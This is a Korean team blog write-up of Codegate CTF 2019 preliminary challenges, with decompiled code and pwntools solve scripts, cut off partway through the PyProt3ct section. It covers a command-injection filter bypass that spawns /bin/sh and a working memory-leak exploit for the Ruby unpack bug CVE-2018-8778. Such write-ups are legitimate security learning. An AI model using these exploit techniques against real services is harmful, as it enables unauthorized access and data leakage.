2019년 2월 27일 수요일

[CTF] Codegate CTF 2019 Preliminary

Codegate CTF 2019 Preliminary

Rank 15. Hayyim Sec


Problems

Writeups

MIC check

Let the hacking begins ~
Decode it :
9P&;gFD,5.BOPCdBl7Q+@V’1dDK?qL
  • base85 decoding을 수행하게 되면 플래그를 획득 할 수 있다.

20000

nc 110.10.147.106 15959
Download
  • 문제에서는 2만개의 라이브러리와 라이브러리의 함수를 호출하기 위한 프로그램이 존재한다.
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  signed __int64 result; // rax
  void *v5; // rdi
  char *v6; // rax
  int v7; // [rsp+Ch] [rbp-94h]
  void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
  void *handle; // [rsp+18h] [rbp-88h]
  char s; // [rsp+20h] [rbp-80h]
  int v11; // [rsp+80h] [rbp-20h]
  int v12; // [rsp+84h] [rbp-1Ch]
  unsigned __int64 v13; // [rsp+88h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  sub_400A06(a1, a2, a3);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x60uLL);
  v11 = 0;
  printf("INPUT : ", 0LL, &v12);
  __isoc99_scanf("%d", &v7);
  if ( v7 <= 0 && v7 > 20000 )
  {
    printf("Invalid Input");
    exit(-1);
  }
  sprintf(&s, "./20000_so/lib_%d.so", (unsigned int)v7);
  handle = dlopen(&s, 1);
  if ( handle )
  {
    v5 = handle;
    v8 = (void (__fastcall *)(void *, const char *))dlsym(handle, "test");
    if ( v8 )
    {
      v8(v5, "test");
      dlclose(handle);
      result = 0LL;
    }
    else
    {
      v6 = dlerror();
      fprintf(stderr, "Error: %s\n", v6);
      dlclose(handle);
      result = 1LL;
    }
  }
  else
  {
    v3 = dlerror();
    fprintf(stderr, "Error: %s\n", v3);
    result = 1LL;
  }
  return result;
}
  • 각 라이브러리에서는 “How do you find vulnerable file?” 문자열 이후에 system 함수로 실행할 명령어가 나오게 된다.
  • 이를 이용하여 “strings * | grep “How do you find vulnerable file” -A1 | sort | uniq -c > log” 명령어를 통해 “%s 2 > /dev/null” 커맨드를 실행하는 라이브러리 파일(lib_17394.so)을 찾을 수 있다.
signed __int64 test()
{
  char *v0; // rax
  signed __int64 result; // rax
  char *v2; // rax
  void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
  void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
  void *handle; // [rsp+10h] [rbp-A0h]
  void *v6; // [rsp+18h] [rbp-98h]
  char buf; // [rsp+20h] [rbp-90h]
  __int16 v8; // [rsp+50h] [rbp-60h]
  char s; // [rsp+60h] [rbp-50h]
  __int16 v10; // [rsp+90h] [rbp-20h]
  unsigned __int64 v11; // [rsp+98h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  memset(&buf, 0, 0x30uLL);
  v8 = 0;
  memset(&s, 0, 0x30uLL);
  v10 = 0;
  handle = dlopen("./20000_so/lib_4323.so", 1);
  if ( handle )
  {
    v3 = (void (__fastcall *)(char *, char *))dlsym(handle, "filter1");
    v6 = dlopen("./20000_so/lib_11804.so", 1);
    if ( v6 )
    {
      v4 = (void (__fastcall *)(char *))dlsym(v6, "filter2");
      puts("This is lib_17394 file.");
      puts("How do you find vulnerable file?");
      read(0, &buf, 0x32uLL);
      v3(&buf, &buf);
      v4(&buf);
      sprintf(&s, "%s 2 > /dev/null", &buf);
      system(&s);
      dlclose(handle);
      dlclose(v6);
      result = 0LL;
    }
    else
    {
      v2 = dlerror();
      fprintf(stderr, "Error: %s\n", v2);
      result = 0xFFFFFFFFLL;
    }
  }
  else
  {
    v0 = dlerror();
    fprintf(stderr, "Error: %s\n", v0);
    result = 0xFFFFFFFFLL;
  }
  return result;
}
  • 커맨드를 실행하기 전에 2개의 필터링을 거치게 되는데 "/bin/sh"문자열에 대한 필터링이 존재하지 않아 서버에 접속 후 lib_17394라이브러리를 실행하여 “/bin/sh” 커맨드를 실행하여 플래그를 획득 할 수 있다.
char *__fastcall filter1(const char *a1)
{
  char *result; // rax

  if ( strchr(a1, ';') )
    exit(0);
  if ( strchr(a1, '*') )
    exit(0);
  if ( strchr(a1, '`') )
    exit(0);
  if ( strchr(a1, '&') )
    exit(0);
  if ( strchr(a1, '$') )
    exit(0);
  if ( strchr(a1, '>') )
    exit(0);
  if ( strchr(a1, '<') )
    exit(0);
  result = strchr(a1, 'r');
  if ( result )
    exit(0);
  return result;
}

char *__fastcall filter2(const char *a1)
{
  char *result; // rax

  if ( strchr(a1, 'v') )
    exit(0);
  if ( strchr(a1, 'm') )
    exit(0);
  if ( strchr(a1, 'p') )
    exit(0);
  if ( strchr(a1, 'd') )
    exit(0);
  if ( strchr(a1, 'f') )
    exit(0);
  if ( strchr(a1, 'g') )
    exit(0);
  if ( strchr(a1, 'l') )
    exit(0);
  result = strstr(a1, "bash");
  if ( result )
    exit(0);
  return result;
}

Butterfree

Download 2018.11.18 Webkit and Modified
nc 110.10.147.110 17423
Download
  • 제공된 바이너리 jsc에 사용가능한 함수 목록을 보게 되면 “readFile” 함수가 존재하는 것을 알 수 있다.
  • 서버에 접속 후 readFile("./flag"); 을 호출하게 되면 플래그를 획득할 수 있다.
unsigned __int64 __fastcall GlobalObject::finishCreation(JSC::JSGlobalObject *this, JSC::VM *a2, __int64 a3)
{
    ...
   
GlobalObject::addFunction((__int64)v5, a2, v5, "loadString",(__int64)functionLoadString);
GlobalObject::addFunction(v5, a2, v5, "readFile", functionReadFile, 2LL);
GlobalObject::addFunction(v5, a2, v5, "read", functionReadFile, 2LL);
    ...
}

mini converter

nc 110.10.147.105 12137
Download
  • 사용자로부터 입력 받은 데이터를 다른 자료형으로 바꿔주는 기능을 수행한다.
flag = "FLAG{******************************}"
# Can you read this? really???? lol

while true

    puts "[CONVERTER IN RUBY]"
    STDOUT.flush
    sleep(0.5)
    puts "Type something to convert\n\n"
    STDOUT.flush
    puts "[*] readme!"
    STDOUT.flush
    puts "When you want to type hex, contain '0x' at the first. e.g 0x41414a"
    STDOUT.flush
    puts "When you want to type string, just type string. e.g hello world"
    STDOUT.flush
    puts "When you want to type int, just type integer. e.g 102939"
    STDOUT.flush

    puts "type exit if you want to exit"
    STDOUT.flush

    input = gets.chomp
    puts input
    STDOUT.flush

    if input  == "exit"
        file_write()
        exit

    end

    puts "What do you want to convert?"
    STDOUT.flush

    if input[0,2] == "0x"
     puts "hex"
        STDOUT.flush
     puts "1. integer"
        STDOUT.flush
     puts "2. string"
        STDOUT.flush

     flag = 1
 
    elsif input =~/\D/
     puts "string"
        STDOUT.flush
     puts "1. integer"
        STDOUT.flush
     puts "2. hex"
        STDOUT.flush

     flag = 2
    
    else
     puts "int"
        STDOUT.flush
     puts "1. string"
        STDOUT.flush
     puts "2. hex"
        STDOUT.flush

     flag = 3
    end

    num = gets.to_i

    if flag == 1
     if num == 1
      puts "hex to integer"
            STDOUT.flush
            puts Integer(input)
            STDOUT.flush

     elsif num == 2
      puts "hex to string"
            STDOUT.flush
            tmp = []
            tmp << input[2..-1]
            puts tmp.pack("H*")
            STDOUT.flush
     
        else
      puts "invalid"
            STDOUT.flush
        end

    elsif flag == 2
     if num == 1
      puts "string to integer"
            STDOUT.flush
            puts input.unpack("C*#{input}.length")
            STDOUT.flush
 
        elsif num == 2
      puts "string to hex"
            STDOUT.flush
            puts input.unpack("H*#{input}.length")[0]
            STDOUT.flush
 
        else
      puts "invalid2"
            STDOUT.flush
        end

    elsif flag == 3
     if num == 1
      puts "int to string"
            STDOUT.flush
 
        elsif num == 2
      puts "int to hex"
            STDOUT.flush
            puts input.to_i.to_s(16)
            STDOUT.flush
     else
      puts "invalid3"
            STDOUT.flush
        end

    else
     puts "invalid4"
        STDOUT.flush

    end

end 
  • puts input.unpack(“C*#{input}.length”)” 해당 소스코드를 통해 사용자 입력 값을 넣을 수 있으며 해당 벡터를 통해 큰 양수를 이용하여 언팩을 수행하게 되면 음수로 오버플로우되는 CVE-2018-8778 취약점으로 메모리 릭을 수행할 수 있다.
from pwn import *

size = 4096
leak = 2**64-1
r = remote("110.10.147.105", 12137)
for i in range(0, 1000):
 leak -= size
 cmd = "@%dC%d" %(leak, size)
 r.sendlineafter("type exit if you want to exit", cmd)
 r.sendlineafter("string\n", "1")
 d = r.recvuntil("[CONVERTER IN RUBY]", timeout=0.1)
 f = ''
 for i in d.split("\n"):
  try:
   if int(i) >= 0x20 and int(i) < 0x7f:
    f += chr(int(i))
  except:
   pass
 print f

 if f.find("FLAG") != -1:
  raw_input(" > ")

algo_auth

algo_auth
I like an algorithm
nc 110.10.147.104 15712
nc 110.10.147.109
  • 7*7 행렬의 왼쪽 열에서 오른쪽 열까지 도달하는 경로 중 최소 비용의 경로를 찾아야하는 문제이다.
  • 입력까지 시간 여유가 존재하기 때문에 경로 별 비용을 계산하여 최소 비용으로 오른쪽에 도달하는 코드를 작성하면 된다.
d = '''18 17 16 15 14 13 12
 9 11 13 15 17 19 21
18 17 16 15 14 13 12
14 16 18 20 22 24 26
16 15 14 13 12 11 10
 6  8 10 12 14 16 18
22 21 20 19 18 17 16'''

def gen(d):
    return [map(int, i.split()) for i in d.split("\n")]

getline = lambda x, c: [x[i][c] for i in range(0, len(x))]
def sol(m):
    r = getline(m, 0)
    for i in range(1, len(m)):
        t = getline(m, i)
        r = [
                t[row] +
                min([
                    r[b_row] + sum(t[b_row:row:(1 if b_row <= row else -1)])
                    for b_row in range(0, len(t))
                ])
                for row in range(0, len(t))
        ]
    return min(r)

from pwn import *
f = []
r = remote("110.10.147.104", 15712)
r.sendlineafter("If you want to start, type the G key within 10 seconds....>>", "G")
for i in range(1, 101):
        print "[+] stage : %d" % i
        print r.recvuntil("*** STAGE %d ***" % i)
        d = r.recvuntil("Answer within 10 seconds >>>")
        prob = d.split("\n")[1:-2]
        prob_g = gen('\n'.join(prob))
        s = sol(prob_g)
        f.append(s)
        r.sendline(str(s))
print ''.join(map(chr, f))
r.interactive()
  • 위의 코드를 통해 문제를 해결하면 입력 값이 플래그인것을 알 수 있으며 입력 값을 모아 base64 decode를 해주게 되면 플래그를 얻을 수 있다.

KingMaker

nc 110.10.147.104 13152
Download
  • 전역 변수 5개의 값이 다 5로 설정된 후 sub_400B58 함수를 호출하게 되면 flag파일을 읽을 수 있다.
void __fastcall __noreturn sub_400B58(const char *a1, __int64 a2)
{
  puts(a1);
  if ( a2 == 1 )
  {
    if ( dword_60716C != 5 || dword_607170 != 5 || dword_607174 != 5 || dword_607178 != 5 || dword_60717C != 5 )
    {
      sub_400B3D("King : But you couldn't make the points... You can't be a king.", a2);
    }
    else
    {
      sub_400B3D("King : Congratuations to be a king!", a2);
      system("/bin/cat ./flag");
    }
  }
  exit(-1);
}
  • 문제는 사용자의 입력에 따라 스토리가 진행되는 문제로 각 입력 값마다 위의 전역 변수에 영향을 주게 되며 총 5개의 스테이지가 존재한다.
  • 각 스테이지는 사용자가 입력한 데이터를 서버에 존재하는 key 파일과 비교하여 같은지 확인하게 되며 key 파일과 동일한 데이터일 경우 입력한 데이터를 key로 사용하여 암호화된 opcode와 xor한 뒤 call하여 다음스테이지로 넘어가게 된다.
  if ( !check_flag(&stage_key, 1u, 5u) )
    err("King : Wrong! Don't you want to be a king?", 0);
  gen_stage(sub_40341D, dword_6070A8[0], &stage_key);
  // sub_40341D 복호화 된 함수
  sub_40341D(&stage_key);
  return __readfsqword(0x28u) ^ v2;
}
  • 하지만, key 파일이 내부 서버에 존재하기 때문에 암호화된 opcode의 원본 opcode를 예측하여 xor key를 알아내야 한다.
  • 복호화를 수행한 함수는 call instruction을 이용하기 때문에 함수 프롤로그가 존재하는 것을 예측할 수 있었으며 함수 프롤로그를 이루는 opcode들의 byte를 이용하여 각 스테이지의 key를 알아낼 수 있다.
#stage1
tab = [57, 7, 255, 214]
stage1 = ''
prol = [0x55, 0x48, 0x89, 0xE5] # stage 1,2
prol = prol + [0x48, 0x83, 0xEC, 0x20] + [0x48, 0x89] # stage 3,4,5
for i in range(0, len(tab)):
    stage1 += chr(prol[i] ^ tab[i])
print stage1
'''
lOv3
D0l1
HuNgRYT1m3
F0uRS3aS0n
T1kT4kT0Kk
'''
  • 각 스테이지 별 key를 구한 후에는 “ALICEAWTQJMJXTSPPZVCIDGQYRDINMCP” 문자열을 해독하는 문제를 해결해야 한다.
signed __int64 __fastcall sub_401793(const char *a1)
{
  int v2; // [rsp+18h] [rbp-78h]
  signed int i; // [rsp+1Ch] [rbp-74h]
  char dest[16]; // [rsp+20h] [rbp-70h]
  unsigned __int8 v5[26]; // [rsp+30h] [rbp-60h]
  unsigned __int8 v6[26]; // [rsp+50h] [rbp-40h]
  char v7; // [rsp+72h] [rbp-1Eh]
  unsigned __int64 v8; // [rsp+78h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  qmemcpy(v5, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", sizeof(v5));
  strcpy(v6, "ALICEAWTQJMJXTSPPZVCIDGQYRDINMCP");
  v7 = 0;
  v2 = 0;
  strncpy(dest, a1, 5uLL);
  for ( i = 5; i < strlen(a1); ++i )
  {
    if ( v5[(a1[i] - 65 + dest[v2] - 65) % 26] != v6[i] )
      return 0LL;
     v2 = (v2 + 1) % 5;
  }
  return 1LL;
}
  • 해독 문제는 입력 값의 5바이트를 키로 사용하는 간단한 연산을 수행하기 때문에 역연산을 수행하는 코드로 입력 값을 만족하는 데이터를 찾을 수 있다.
k = [65, 76, 73, 67, 69]
d = [65, 87, 84, 81, 74, 77, 74, 88, 84, 83, 80, 80, 90, 86, 67, 73, 68, 71, 81, 89, 82, 68, 73, 78, 77, 67, 80]
''.join(["ABCDEFGHIJKLMNOPQRSTUVWXYZ"[((d[i] - 65 - k[i%len(k)] - 65)) % 26] for i in range(0, len(d))])
#ALLOFMYPROPERTYISYOURSALICE
  • 5개의 스테이지에 해당하는 key값과 중간에 존재하는 복호화 문제의 답을 구한 뒤에는 플래그를 읽을 수 있는 경우의 수를 계산해야 한다.
  • 해당 과정은 각 스테이지 별로 존재하는 암호화된 opcode를 복호화한 뒤 플래그를 읽는데 필요한 조건을 만족하는 케이스를 찾아 해결하면된다.
a = [[2,0,0,1,0], [2,0,1,0,0], [2,0,2,1,0]]
b = [[0, 0, 1,0,2],[0,-1,0,0,-1],[0,2,0,0,0]]
c = [[-1, 0, -1, 1, 0], [1, 1, 0, 0, 0], [1, 1, 0, 0, 0], [1,2,0,0,0]]
d = [[1, 1, 1, 2, 0], [1, 1, 1, 1, 2], [1,2,2,1,2]] 
e = [[0,0,1,1,0], [0,-1,2,0,0], [0,-1,1,1,0]]
f = [[1,-1,-1,2,2],[0,0,0,0,0],[1,0,0,0,1]]
g = [[0, 1, 1, 2, 0]]
h = [[0, 1, 1, 1, 0], [0,1, 0, 0, 0], [0,1,0,0,0]]
i = [[-1,0,0,1,1],[0,0,1,2,1], [0,0,0,2,2]]

for aa in a:
 for bb in b:
  for cc in c:
   for dd in d:
    for ee in e:
     for ff in f:
      for gg in g:
       for hh in h:
        for ii in i:
         log = aa, bb, cc, dd, ee, ff, gg, hh, ii
         flag = [0,0,0,0,0]
         for vv in range(0, len(aa)):
          flag[vv] += aa[vv]
         for vv in range(0, len(bb)):
          flag[vv] += bb[vv]
         for vv in range(0, len(cc)):
          flag[vv] += cc[vv]
         for vv in range(0, len(dd)):
          flag[vv] += dd[vv]
         for vv in range(0, len(ee)):
          flag[vv] += ee[vv]
         for vv in range(0, len(ff)):
          flag[vv] += ff[vv]
         for vv in range(0, len(gg)):
          flag[vv] += gg[vv]
         for vv in range(0, len(hh)):
          flag[vv] += hh[vv]
         for vv in range(0, len(ii)):
          flag[vv] += ii[vv]
         if flag[0] == 5 and flag[1] == 5 and flag[2] == 5 and flag[3] == 5:
          print log
          print "\t", flag
          print "\n"
from pwn import *

r = remote("110.10.147.104", 13152)
r.sendline("2")
r.sendlineafter("test 1", "lOv3")
r.sendline("1")
r.sendline("2")
r.sendlineafter("3> Just release", "2")
r.sendlineafter("3> Read a book in the room.", "3")
r.sendlineafter("test 2", "D0l1")
r.sendline("1")
r.sendline("2")
r.sendline("1")
r.sendlineafter("2> I will sell the apple after I wash this apple really cleary.", "1")
r.sendline("2")
r.sendlineafter("ou can do for other kingdom. I will find a way with you.", "1")
r.sendlineafter("test 3", "HuNgRYT1m3")
r.sendlineafter("3> He caused the revolt. Deprive his royal status and send him into exile.", "2")
r.sendline("2")
r.sendline("3")
r.sendlineafter("test 4", "F0uRS3aS0n")
r.sendline("1")
r.sendline("1")
r.sendlineafter("1 chance.", "ALICE" + "allofmypropertyisyoursalice".upper())
r.sendlineafter("2> Just stay in room", "2")
r.sendlineafter("test 5", "T1kT4kT0Kk")
r.sendline("3")
r.sendlineafter("3> Go home together.", "2")
r.sendline("2")
r.sendline("1")
r.interactive()

PyProt3ct

Download
  • python으로 작성된 vm을 제공한다.
  • vm을 처리하는 play.py에서 사용하는 opcode를 출력하여 분석이 쉽도록 다음과 같이 출력 코드를 삽입한다.
def O0O0OOO00OO00O000(OOOO0OOOO000OO000):
    O00OOOOOO000OOO00=2001
    OOO0OOOOOOO0O00O0=2002
    O0O00000000OO0OO0=OOOO0OOOO000OO000[O00OOOOOO000OOO00]
    O0O00000000OO0OO0=O0O00000000OO0OO0.decode("utf-8")
    OOOOO0OOO0OOO0O0O=OOOO0OOOO000OO000[OOO0OOOOOOO0O00O0]
    print("[+] int(%s)" %(OOOOO0OOO0OOO0O0O))
    OOOOO0OOO0OOO0O0O=int(OOOOO0OOO0OOO0O0O)
    OOOO0OOOO000OO000[O0O00000000OO0OO0]=OOOOO0OOO0OOO0O0O
    return
def O0O000000OO0OOO0O(OO000OO00000OO0OO):
    OOOO000O000OO0O0O=2001
    OO0OO0OOOOOOO0OO0=2002
    O0O000O000OOO0OO0=OO000OO00000OO0OO[OOOO000O000OO0O0O]
    O0O000O000OOO0OO0=O0O000O000OOO0OO0.decode("utf-8")
    O0O0OO00OOO0O0OO0=OO000OO00000OO0OO[OO0OO0OOOOOOO0OO0]
    O0O0OO00OOO0O0OO0=O0O0OO00OOO0O0OO0.decode("utf-8")
    O0O0OO00OOO0O0OO0=OO000OO00000OO0OO[O0O0OO00OOO0O0OO0]
    OO000OO00000OO0OO[O0O000O000OOO0OO0]=O0O0OO00OOO0O0OO0
    return
def O0O0O0000O00OOO0O(OO0OO0O0O0OOOO0O0):
    OO0O00O00000O0000=2001
    O0O00O000O0O000O0=2002
    O00OO0OO00O0O000O=2003
    O0OOO0O0OO000O0O0=OO0OO0O0O0OOOO0O0[OO0O00O00000O0000]
    O0OOO0O0OO000O0O0=O0OOO0O0OO000O0O0.decode("utf-8")
    OO0O0000000OOOO00=OO0OO0O0O0OOOO0O0[O0O00O000O0O000O0]
    OO0O0000000OOOO00=OO0O0000000OOOO00.decode("utf-8")
    OO0O0000000OOOO00=OO0OO0O0O0OOOO0O0[OO0O0000000OOOO00]
    O0000000OOOO0OOO0=OO0OO0O0O0OOOO0O0[O00OO0OO00O0O000O]
    O0000000OOOO0OOO0=O0000000OOOO0OOO0.decode("utf-8")
    if O0000000OOOO0OOO0.isdigit():
        O0000000OOOO0OOO0=int(O0000000OOOO0OOO0)
    else:
        O0000000OOOO0OOO0=OO0OO0O0O0OOOO0O0[O0000000OOOO0OOO0]
    print("[+] tab(%d) = %d" %(O0000000OOOO0OOO0, OO0O0000000OOOO00[O0000000OOOO0OOO0]))
    OO0OOOOO000OO0OOO=OO0O0000000OOOO00[O0000000OOOO0OOO0]
    OO0OO0O0O0OOOO0O0[O0OOO0O0OO000O0O0]=OO0OOOOO000OO0OOO
    return
def O0O0O0000O00OO00O(O000O000O00000O0O):
    OO0OO0OO00O0OO0OO=2001
    OO0OO0OOO000000O0=2002
    OOOO00OOO0OO00O00=2003
    O0O0O0OO0O0O00O00=2004
    O00000O000O0000OO=O000O000O00000O0O[OO0OO0OO00O0OO0OO]
    O00000O000O0000OO=O00000O000O0000OO.decode("utf-8")
    O0O00000O00OOO000=O000O000O00000O0O[OO0OO0OOO000000O0]
    O0O00000O00OOO000=O0O00000O00OOO000.decode("utf-8")
    OO0O00O0OO0OO0000=O000O000O00000O0O[OOOO00OOO0OO00O00]
    OO0O00O0OO0OO0000=OO0O00O0OO0OO0000.decode("utf-8")
    if OO0O00O0OO0OO0000.isdigit():
        OO0O00O0OO0OO0000=int(OO0O00O0OO0OO0000)
    else:
        OO0O00O0OO0OO0000=O000O000O00000O0O[OO0O00O0OO0OO0000]
    OO0000O00O00OO00O=O000O000O00000O0O[O0O0O0OO0O0O00O00]
    OO0000O00O00OO00O=OO0000O00O00OO00O.decode("utf-8")
    if OO0000O00O00OO00O.isdigit():
        OO0000O00O00OO00O=int(OO0000O00O00OO00O)
    else:
        OO0000O00O00OO00O=O000O000O00000O0O[OO0000O00O00OO00O]
    O0O0000O000O0OOOO=O0O00000O00OOO000[OO0O00O0OO0OO0000:OO0000O00O00OO00O]
    O000O000O00000O0O[O00000O000O0000OO]=O0O0000O000O0OOOO
    return
def OO0OO0OOOOO00O000(O00OOO0OOOOOO0OOO):
    O000000000000O000=2001
    O00OO00O00OO0OOO0=2002
    O00OOOOO000000000=2003
    O0OOOOOOOO0OOO0O0=O00OOO0OOOOOO0OOO[O000000000000O000]
    O0OOOOOOOO0OOO0O0=O0OOOOOOOO0OOO0O0.decode("utf-8")
    OOO00O0OOO0OO0O00=O00OOO0OOOOOO0OOO[O00OO00O00OO0OOO0]
    OOO00O0OOO0OO0O00=OOO00O0OOO0OO0O00.decode("utf-8")
    if OOO00O0OOO0OO0O00.isdigit():
        OOO00O0OOO0OO0O00=int(OOO00O0OOO0OO0O00)
    else:
        OOO00O0OOO0OO0O00=O00OOO0OOOOOO0OOO[OOO00O0OOO0OO0O00]
    OOO0O000O0OOOO000=O00OOO0OOOOOO0OOO[O00OOOOO000000000]
    OOO0O000O0OOOO000=OOO0O000O0OOOO000.decode("utf-8")
    if OOO0O000O0OOOO000.isdigit():
        OOO0O000O0OOOO000=int(OOO0O000O0OOOO000)
    else:
        OOO0O000O0OOOO000=O00OOO0OOOOOO0OOO[OOO0O000O0OOOO000]
    O0000OOO0OOO000O0=O00OOO0OOOOOO0OOO[O0OOOOOOOO0OOO0O0]
    O0000OOO0OOO000O0[OOO00O0OOO0OO0O00]=OOO0O000O0OOOO000
    return
def OO0OO0OOOOO0OOO00(OO0O00000O00OO0O0):
    OOO0O0O00OOO0O0O0=2001
    O0000000O0OOO000O=2002
    OOOOO000OOO000000=2003
    OOO000O0O00O0OOOO=OO0O00000O00OO0O0[OOO0O0O00OOO0O0O0]
    OOO000O0O00O0OOOO=OOO000O0O00O0OOOO.decode("utf-8")
    OOO0O0OOOO0O0OOOO=OO0O00000O00OO0O0[O0000000O0OOO000O]
    OOO0O0OOOO0O0OOOO=OOO0O0OOOO0O0OOOO.decode("utf-8")
    if OOO0O0OOOO0O0OOOO.isdigit():
        OOO0O0OOOO0O0OOOO=int(OOO0O0OOOO0O0OOOO)
    else:
        OOO0O0OOOO0O0OOOO=OO0O00000O00OO0O0[OOO0O0OOOO0O0OOOO]
    O0O000O00OO000O00=OO0O00000O00OO0O0[OOOOO000OOO000000]
    O0O000O00OO000O00=O0O000O00OO000O00.decode("utf-8")
    if O0O000O00OO000O00.isdigit():
        O0O000O00OO000O00=int(O0O000O00OO000O00)
    else:
        O0O000O00OO000O00=OO0O00000O00OO0O0[O0O000O00OO000O00]
    print("[+] %d + %d" %(OOO0O0OOOO0O0OOOO,O0O000O00OO000O00))
    OOOOO0OO000OO0000=OOO0O0OOOO0O0OOOO+O0O000O00OO000O00
    OO0O00000O00OO0O0[OOO000O0O00O0OOOO]=OOOOO0OO000OO0000
    return
def O0OOO0OOOOO00O000(OOO00O0OO0000O000):
    O0O000OO00OO0000O=2001
    O0OO00OOO0OO00O00=2002
    O000OOOO0OO0OO00O=2003
    O00O0OOO00O00OOO0=OOO00O0OO0000O000[O0O000OO00OO0000O]
    O00O0OOO00O00OOO0=O00O0OOO00O00OOO0.decode("utf-8")
    O0OO0OOOOO0OOOOO0=OOO00O0OO0000O000[O0OO00OOO0OO00O00]
    O0OO0OOOOO0OOOOO0=O0OO0OOOOO0OOOOO0.decode("utf-8")
    if O0OO0OOOOO0OOOOO0.isdigit():
        O0OO0OOOOO0OOOOO0=int(O0OO0OOOOO0OOOOO0)
    else:
        O0OO0OOOOO0OOOOO0=OOO00O0OO0000O000[O0OO0OOOOO0OOOOO0]
    OOO0OO000OOO0O0OO=OOO00O0OO0000O000[O000OOOO0OO0OO00O]
    OOO0OO000OOO0O0OO=OOO0OO000OOO0O0OO.decode("utf-8")
    if OOO0OO000OOO0O0OO.isdigit():
        OOO0OO000OOO0O0OO=int(OOO0OO000OOO0O0OO)
    else:
        OOO0OO000OOO0O0OO=OOO00O0OO0000O000[OOO0OO000OOO0O0OO]
    print("[+] %d ^ %d" %(O0OO0OOOOO0OOOOO0,OOO0OO000OOO0O0OO))
    OOOO0OOO0000O0000=O0OO0OOOOO0OOOOO0^OOO0OO000OOO0O0OO
    OOO00O0OO0000O000[O00O0OOO00O00OOO0]=OOOO0OOO0000O0000
    return
def OOO0O0000OO0OOO0O(OOO00O0O000OO00O0):
    O0O0OOO00000OO00O=2001
    O0O00000O0O00OO00=2002
    OOOO0OOOOO0O00000=2003
    O0000O00OO0O0O0OO=OOO00O0O000OO00O0[O0O0OOO00000OO00O]
    O0000O00OO0O0O0OO=O0000O00OO0O0O0OO.decode("utf-8")
    OO0O0O0OO00O00OO0=OOO00O0O000OO00O0[O0O00000O0O00OO00]
    OO0O0O0OO00O00OO0=OO0O0O0OO00O00OO0.decode("utf-8")
    if OO0O0O0OO00O00OO0.isdigit():
        OO0O0O0OO00O00OO0=int(OO0O0O0OO00O00OO0)
    else:
        OO0O0O0OO00O00OO0=OOO00O0O000OO00O0[OO0O0O0OO00O00OO0]
    O00OO000O00O0OO00=OOO00O0O000OO00O0[OOOO0OOOOO0O00000]
    O00OO000O00O0OO00=O00OO000O00O0OO00.decode("utf-8")
    if O00OO000O00O0OO00.isdigit():
        O00OO000O00O0OO00=int(O00OO000O00O0OO00)
    else:
        O00OO000O00O0OO00=OOO00O0O000OO00O0[O00OO000O00O0OO00]
    print("[+] %d & %d" %(OO0O0O0OO00O00OO0,O00OO000O00O0OO00))
    O000O0O00O00OOOO0=OO0O0O0OO00O00OO0&O00OO000O00O0OO00
    OOO00O0O000OO00O0[O0000O00OO0O0O0OO]=O000O0O00O00OOOO0
    return
def O00OO0OOOOO00OO00(OOOOO0O00O0O0O0O0):
    O0OOOOO0O000O0O0O=2001
    O0O0OOOO000O00O0O=2002
    OO00O0OOOO00OOOO0=2003
    O0OO00OO00OOOOOO0=OOOOO0O00O0O0O0O0[O0OOOOO0O000O0O0O]
    O0OO00OO00OOOOOO0=O0OO00OO00OOOOOO0.decode("utf-8")
    O00OOO00O0000O00O=OOOOO0O00O0O0O0O0[O0O0OOOO000O00O0O]
    O00OOO00O0000O00O=O00OOO00O0000O00O.decode("utf-8")
    if O00OOO00O0000O00O.isdigit():
        O00OOO00O0000O00O=int(O00OOO00O0000O00O)
    else:
        O00OOO00O0000O00O=OOOOO0O00O0O0O0O0[O00OOO00O0000O00O]
    O0000O000000OO000=OOOOO0O00O0O0O0O0[OO00O0OOOO00OOOO0]
    O0000O000000OO000=O0000O000000OO000.decode("utf-8")
    if O0000O000000OO000.isdigit():
        O0000O000000OO000=int(O0000O000000OO000)
    else:
        O0000O000000OO000=OOOOO0O00O0O0O0O0[O0000O000000OO000]
    O0OO0OO0000000O00=O00OOO00O0000O00O|O0000O000000OO000
    OOOOO0O00O0O0O0O0[O0OO00OO00OOOOOO0]=O0OO0OO0000000O00
    return
def O0O0O0OO0OO0OOO0O(O00OO0OO00O0OOO00):
    O0OO0O000OOOOOO00=2001
    O0000O0OO00OO0000=2002
    OOOOOO00OOOO0O0O0=2003
    O0O0O0OO000O0OO0O=O00OO0OO00O0OOO00[O0OO0O000OOOOOO00]
    O0O0O0OO000O0OO0O=O0O0O0OO000O0OO0O.decode("utf-8")
    O0OOO0OOOOO00O0OO=O00OO0OO00O0OOO00[O0000O0OO00OO0000]
    O0OOO0OOOOO00O0OO=O0OOO0OOOOO00O0OO.decode("utf-8")
    if O0OOO0OOOOO00O0OO.isdigit():
        O0OOO0OOOOO00O0OO=int(O0OOO0OOOOO00O0OO)
    else:
        O0OOO0OOOOO00O0OO=O00OO0OO00O0OOO00[O0OOO0OOOOO00O0OO]
    O000OO00O0OOO00OO=O00OO0OO00O0OOO00[OOOOOO00OOOO0O0O0]
    O000OO00O0OOO00OO=O000OO00O0OOO00OO.decode("utf-8")
    if O000OO00O0OOO00OO.isdigit():
        O000OO00O0OOO00OO=int(O000OO00O0OOO00OO)
    else:
        O000OO00O0OOO00OO=O00OO0OO00O0OOO00[O000OO00O0OOO00OO]
    print("[+] %d >> %d" %(O0OOO0OOOOO00O0OO,O000OO00O0OOO00OO))
    OO0OO0OOOO00O0O0O=O0OOO0OOOOO00O0OO >>O000OO00O0OOO00OO
    O00OO0OO00O0OOO00[O0O0O0OO000O0OO0O]=OO0OO0OOOO00O0O0O
    return
def O000O0000OO0OOO0O(O0OO00OO000OOO0O0):
    OO00O00O0O0O00OO0=2001
    OOOOOO0O0OO00OOO0=2002
    OO0O00OO0000O0O0O=2003
    O000O00O0OOOO0000=O0OO00OO000OOO0O0[OO00O00O0O0O00OO0]
    O000O00O0OOOO0000=O000O00O0OOOO0000.decode("utf-8")
